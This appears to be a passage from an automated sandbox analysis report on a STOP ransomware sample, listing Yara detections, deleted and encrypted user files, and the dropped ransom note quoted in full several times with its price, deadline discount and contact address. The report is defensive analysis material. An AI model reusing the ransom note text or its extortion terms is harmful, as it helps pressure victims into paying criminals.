Source: Yara match	File source: 0.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.n8XBpFdVFU.exe.5d915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.n8XBpFdVFU.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 3524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 1228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 7752, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File deleted: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\$WinREAgent\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99509359055	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99818747462	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99842504866	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99836548596	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99873503123	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99549946922	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99575880584	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584472286822851.txt entropy: 7.99820911998	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945532339763.txt entropy: 7.99863151223	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99822564004	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99845357552	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99838726214	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99842168939	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99874333914	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99768341933	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99093272679	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99730745334	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99575266669	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99213046315	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99888035937	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99556889115	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.99163069382	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.9927450309	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99353962708	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99299160025	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db entropy: 7.99017027932	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.9982090033	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99800110908	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99656883973	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.99772896814	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99235427194	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99423715916	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99779542969	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99864881946	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.9936030804	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99789261524	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99835138988	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2e3f3162-b212-4a10-8918-a93180c42736}\Apps.ft entropy: 7.99566927268	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2e3f3162-b212-4a10-8918-a93180c42736}\0.0.filtertrie.intermediate.txt entropy: 7.99487014793	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.9965592135	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.99518454916	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3562040e-6ba4-4dec-86d8-f95aa3865af5}\Apps.ft entropy: 7.9961315941	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3562040e-6ba4-4dec-86d8-f95aa3865af5}\0.0.filtertrie.intermediate.txt entropy: 7.99505833184	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99819555164	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99551160483	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy) entropy: 7.99093272679	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99730745334	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99575266669	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy) entropy: 7.99213046315	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy) entropy: 7.99888035937	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.99556889115	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy) entropy: 7.99163069382	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.9927450309	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99353962708	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99299160025	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy) entropy: 7.99017027932	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy) entropy: 7.9982090033	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy) entropy: 7.99800110908	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy) entropy: 7.99656883973	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy) entropy: 7.99772896814	Jump to dropped file
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.99235427194	Jump to dropped file
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm entropy: 7.99434296189	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.n8XBpFdVFU.exe.5de15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
